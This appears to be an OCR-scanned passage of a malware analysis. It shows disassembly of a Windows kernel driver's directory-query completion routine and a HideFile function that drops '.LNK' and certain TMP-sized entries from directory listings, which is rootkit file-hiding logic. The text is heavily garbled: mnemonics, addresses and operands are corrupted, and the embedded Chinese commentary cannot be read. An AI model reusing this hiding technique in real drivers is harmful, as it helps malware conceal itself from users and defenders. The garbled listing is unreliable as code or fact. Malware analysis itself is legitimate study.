LEext 8881 AC%0 inp loc_18D2A

.test 880103040 ; -——-—-—-———-———————————— e
LCeT IHME Ul G Y

.tedt @O ACGA loc 1 OCGA: : CODE SREF: loCompleteRoutineForgueryblr+int
dexl :ARATACAR i plix, [mli+dfl]

Lext .88 G063 lea eax, [ebprFileHamelLength]

LEeXTIHUETHL GG puch eax

fextzAnd1acer lea eax, [Ehp+FilEHamEDFFEEt]

-textz00d10C6A push eax

Slex 003186068 lea vdy, [ebp+rEndOFFilue]

-lTex] CARATACAF psh Hadx

-Fext - ARATANGF push fdwnird pte [phx+ACh]

textoaBd18CT2 call GetFilelnforDffset

textoaed1acy s test al, al

textzABA18GTD A= short loc_18CLC)

~text-aEa1ac7B nov car, [cdi+Lk]

~LeRETIHUMTHLESE cmp cax, ool

~CeXTIUUETHLEY inz chort loc THLES

fextzAnA1ace2 nov eax, [Ed1+3tn]

-text:00010C85 mp chort loc_ 10CRY

-Lexl-9Q@GQ31eCf ; ———-—F——-"—"-"""""
lexl-00310C87

Slex| CARATACRT Tin_1AGRT: ; NbF SEFF: IuﬁumplvlvﬂnulquFnrﬂuFrynir*EﬁTj
_text-ARATARRF tpat hyte pkrr [Pax+h], &

texto00010CEE jz short loc_ 18092

textzABa18C6D nov €ax, [eax'BCh]

~text:-aea18C94 jmp short loc_18CAH

eI AEAIBC 2 e e e e e e
CeRTIHUETHEYS

~texTIUUUTHLYY Loc TULYZ: : CUDE XKEF: loCompleteKoutinetoryueryldir+e17j
-textzaBdiocez push 16h ; Priordty

-text-0ed10C9u push esi ; BugCheckonFallure

-lex Q0318095 pu=h Eni ; BdueAddress

o=l CARATARDG sl 1 7 RAchieType

_text-ARATAROR push F5i ; ArcPpasHnde

text-AEA10C92 push €ax ; MemorybescriptorList
textzABA18C%A call ds:HmHapLockedMagesSpecirytache

L e



-text:@o@1aAcAn loc_ 1 QACAAG: ; CODE XREF: IocampleteRoutineForqueryllir+66T ]

-text:ae@iaAcan cmp eas, acl

-text:do0d1acAz 1z chort 1oc 1BCES
-lexL:d8d1dcAs

lexL:G0816CAS 1uv_ 10CAR: ; CODE XREF: IuCusplelwRuulineFurQueryDir+SBT
-LexL:d6d14dchas pusls [eLp+FileMamelenylh] ; inl
-LexL:d8d1dcA7T pusls [eLp+FileMammDffrel] ; inl
-LexL:d0d14CAA puxls [eLp+EndOFFLile] ; inl

-l exl :AARARTAGAD jrs thmrrl ple [Phixes] ; inl
-I=x1 :AAART1ACRA prsh HAx ;ouminl x
-lrxl :ARATACA1 141l HitllrFilnm

-fexk:ARAR1 ARRG trst al, al

-fexkF:AAA1ACRR hEd shnrt Tor_1ACEZ
_texkF:AAA1AGRA nnu [pAi+1Rh], P=i
-texkF:AAAR1AGRD nnv F5i, [rhproontext]
-texF:AAR1ACCA jmp shntt Tor_ ACLE

B 4 o e
-text:60816CC2

-text:@0818CE2 loc 1 HCGEZ: ; CODE XEEF: IoCompleteRoutineForQuerylir+BET]
-texkt:@06814CC2 cmp [edirh],. esi

texkt:808818GGY ing short loc_1BCTY

~text:H8618GET push L i HumberOrOptes

-text:d8618CCY push €51 i ToolTupe

text:d86818CCA call d5:CxAllocatelMool

text:d8818CDA nov [ebprMyDevice], eax

text:88818GDI cmp Eax, PSL

texkt:88818GD% iz short loc_1BCLD

~texb:E80618GDT push Cax R |

text:88818GDE nov cax, cbx

texkb:@8818GDNA call HappingllserBuffer

~TCHE:WHYUTHEDE toeot abl, al

<ECHEIHHYTHLEE jinz chort 1oc 1 HURY

LTEXTIHUB] BLL LDC_10GLAS 5 LUVL AKLI S LDUOMPLETEHOUTINE] DIFQUE YILE ol | ]
LEBERTIMHEI ML S ; lotompleteRoutinerorjuerybir+s8lj ...
pxl CAARTANF 3 T Pui, [Php+ilgheuise]

.textz0@041 BCLS mou eax, pdi

LLCCETIHHUTI MUEY call Freclfool

CextC-oD0 OCED mou duord ptr [Ed1+1Bh], aC DDAl AnD

Iext-@BE1 B0F4 jinp loc_18C5?Z

Lortz@BIBCF? ;-
.textz0DB1DCFD
Ipxl CAARTACF? Tin:_1AGF9:
Lextoapet por?

LANDF XRFF: ToCmmplel eRuol i meFurQuerybic+9RT j
IoCompletefoutinelorQuerybir 07T

RN IUUET R push |ebp+hyDEVice | int

lexl cAARTANFI [ILEA Bl il

.text-0061 BCFD push ebx ; int
Lextz0881BCFE push [ebp+Doviceldbjock] ;3 Deviceldbject
textzoDod DDa1 call CallToHextOrluar

LLexto8861 8080 mow [edi+18h], eax

text:088180 87 mouw [ebp'm=_pxc.disabled], BITITTTTCh
PRt IHHET Y mi ga, HUHWHHUHGh

S exl CAARTAN G Jmp shorl Tme:_1R0*A

tertzBBE1 0% [oCompletefoutinelorrQuerybir endp

iv. BRI 4R ¥ HideFile

IR R R AN R TR AR B L, 1 8 MR i o S i 3 4L ik S B L SO
ERVERGHREFABENBSSCHEHE ERY
(CheckPostfix,CheckNamelInvlidFor TMP) 3 (5 28 /% 3 55 DB 30 HE. 72 B 3T
CheckPostfix 9 #I| i 30 4 42 25 2" LNK" /5% B 3K E N 0x104b £ 304, 0 2
M 75 & P w7 50 N 7E B 47 CheckNameInvlid &, 70 8 3744 # M E 01000~ 0x800000,
YHEKER 12, CHEE S A TMP U S E—1FF A~ FE S NE
SNFWBE S NFACHE T, H HZBH T MAM%ET 10,8546 HN].7F &L
ERMRNA SRR RS ER MR EHMF & KRR LR A
BEh— SR RN RE ST RO iR



lexL 800115688 ; char sluvagll HideFile(wuid sbuffer, inl Bufferblenglh, inl EndOFFiledfFFsel, inl FileHamm
LCexb :HUU1 1688 Hideohile proc near ! LUPE %HEF: LoLomplotcHoutinehorUucryubiv+84Tp
-texk 80014088

LCexb ;00011688 EndOFFile Low — duord pty -18n

-texk :ARR1AARR FodllFFile_High - dunrd ptr -ACh

LLext:0BB11688 var & = duord ptr -#

text:88B116088 LeltLen = duord pbrr 4

lexL 800115688 DuffFer = duurd plr 8

LEeEEIHHHTI 68 LenU+Hocord = duord ptr N

.texk :ARRAGRR FodlfFFileNfFfsrt - donrd ptr o AfAh

Ltexb 00011688 FlleHameOfFsel = duord pty 140

-texb :AAR11AAR TiTrHanel pngbhArrset= doned ptee ARQ

LexL 08B 1 1588

.CEXE IHUHT116HY now edi, edi

lexL 00011584 puzh ebp

.Eext tHUH1 68 nov cChp., esp

.Fexk -ARR1AGRD <ih Pap, 1Ah

Ltext:00A11690 nov E3a¥, [ebop+LendfFRecard]

LtextB8E116M) and [ebprvar_@],. @

lexL 808115697 Lesl HdX, vds=

LCexE tHUET AV push cdi

-text 80011494 mou edi, [ebp+buffer]

.CeRE :00B1169D nov [Cbp+LeFtLen], Cax

texk -ARRTAGAR nnu hpte ptr [erhprhuffer+d], R

Lexti08R11 60N inz Shovrt 1oc 11600

text80E1 GRd nov al, 1

lexL:000116A8 e loc 11778

R I BRI -
-texk - ARRTA NAD

CexE 0011 6A0 loc_171GAD: 1 CODPE XREF: HideFile+icCt]
.TexF -AAR1 AAD push P

.LexL ;8061 164AE push Bl

EeHE IHHUT 6AI

lexL:8081186AF luc 118AF: ; CODE XREF: HideFile+D5] |
ECHE I HUHT 60F now Cax, [edi]

-text:B00116AF

LexL:B88116AF luc 116AF: : CODE XREF: HideFile+D53]j
text:d0011aAF mow eax, [edi]

-text:0001146B1 moun [ebp+LendfRecord], eax

text 00811464 mow eax, [ebp+*EndOfFileDffset]
LexXt  UUMI1G6E Y ar ecx, UWFFFFFEHFFR

Fext :AAA11ARA rmp PAX, Pr¥

-text:000116BE jz chort loc_116CD

Lext I 0001146BE moy edd, [edl+eax]

text:880116C1 mow eax, [edi+teax+y]

-text:B00116CE mowv [ebp+End0fFile Lovw], edx

-LexL 080114663 nuy [eLp+EndOFFile Hiyh], edx
text:800116CE jmp short loc 116D3

Eewt i BO0116CD o - o
-text.B880114CD

LeXtIHUNI16LD Loc 116LD: : LUDE ¥HEF: Hidelile+3ulj
Fext ARA1ARD mnu [php+FrdfFile_I nu], ePrx

-text: 00011600 mov [cbp+End0fFilc High], ccx
LexXt:0ae116D3

text: 800116032 loc_116D3: : CODE XREF: HideFile+431j
-text:800116D3 mow eax, [ebp+FileHamelLengthOFfsot]
-LexL:888114D4 nuw edx, [rdi+eax]

text:00011aD? test al, 1

-text: 0001160 moun edw, [ebp+FileHameDffcet]
-text:88811a6DC lea ebx, [ediredx]

LeXt I UUUI16E1 jnz Sshort loc_11f4H

text:H80011a6E3 cdq

text:000116EL cub cax, CdH

texXt:o0e11G6EL mou esl, pax

text:00011G6E3 mow eax, [ebp+End0fFile Low]
-text:000116EB and eax, [ebp+End0fFile High]
.LexL:808113EE wdr eni, 1

text:000116FA cmp eax, PCX

-text:00011a6F2 jz short loc_ 11703

-text: 88011604 cmp [ebprCndOrrile liigh], @

Lext I HUUI146HS jnz short loc_ 111D



-textAART1AFA r-mp [ehp+FndNFFile | nw], 1ALRK

text:Aa011781 inz chort loc 1171D
-text:pag117 83

-text:Be11783 loc_11783: ; CODE XREF: HideFile+5ATj
-text:pRel117 03 cCmp esl, 4

-test 088117 84 jle short loc 1171D
-text:D0011708 puszh h

text:000117 84 lea eax, [ebx+esi=2-3]
-ftext:A801178E push eax

text:0001178F mou eax, offset a 1nk : ""_LHE"™
-CeXCZHUMITS 1A call LheckFostiix
~text:Bae11719 test al, al

-text:BB01171B jnz chort loc 1173F

-text:zaI171D

-text:@801171D0 loc 1171D: CODE XREF: HideFile+7alj

-text:zaI171D ; HideFile+79Tj§ ...
-text:zA801171D push [ebp+EndOfFile High]
~LextIpae1irzao push [eDp+EndOfF11e_Low]
-text:BA01172) push esi

_text-D00011724 mou esi, ebx

-textA80117246 call CheckMameInvlidForTHP
text:A0011728B test al, al

-text:A801172D jz short loc 1174B
~LexXtZHUNTI 1S EE

~textoBO01172F loc_1172F: ; CODE HREF: HideFile+?31j
-text:BO01I172F mou eax, [ebp+LendfRecord]
-text:BB011732 test eax, eax

-fext:0001173% jz short loc 11765
-text:-BO011736 mou ecx, [ebp+LeftLen]
-text:AA011739 cub ecx, eax

-LexL:BO81 1736 push [ M ; siee L
~text 30011736 add cax, cdi

-text - AARAZ3F push Pax : unid ¥
.text @a01173F push edi ; void =
et AR 7 AR rall s :mPmNNUp

el aB011744 did esp, BGhH

Feet AR 7 AY jmp chart Tnr_ 11765

LlexLoBBA1174E ; - T T T T T T T T T e e e
te<t-00081174B

exL 08011748 1w 11748 ; CODE SREF: HiueFile+59Tj
.text:-0061174H : HideFile+aGTj
.TexXtIannl17a0 mov [ebp+var B], pdl

.text 000117 AE add edi, [ebp+LenDfRecord]

TedtIanniirsi mov byte ptr [eDp+bufFer+3], 1

text 00611755

LLeXtIape11yss 1oc 11755: ; CODE XREF: HldeFlle+:1T{
ezt iBBM1175E mov eax, [ebp+LenDfRecord]

Tedtapniis54a Sab [ebp+LefClen], eax

text:0081175E tect eix, 9aM

LATedt IHHEI B inz 1oc 116AkF

Aot 108811764 jmp chort loc_1176F

CERREIMMETTA Y &
.text 160811765

TedtIHUNT1 65 Loc_11/65%: : LUDE XKEEF: Hidetile+atlj
oAt 180811765 mov cix, [cbp+var_ 8]

text 080117464 tect e3ax, eax

testi8801176A jz shorrt loc 11761

gdext 88011760 and dword ptr [eax]., @

et zap117s60

Ltext:@801176F loc_1176F: CODE XREF: HideFile+DBTj

text:aBe 11760 ; liderile C2Tj
gext 080117 6F cmp byte ptr [ebp+bufFer+3]. @
Ltext @ae11773 pop esi

LtextOA0117 7S setnz al

textoapo11svy pop ebx

teet -AARRI17TH

text-98011778 loc 117786: ; CODE XREF: HideFile+2ATj
towt:Aa811778 pop cdi

et AAR7709 1raop

LextIaant117vA FELN 14h

.text:AA01177A HideFile endp

Lextzddf1177A

sk a @AEAAIMA -



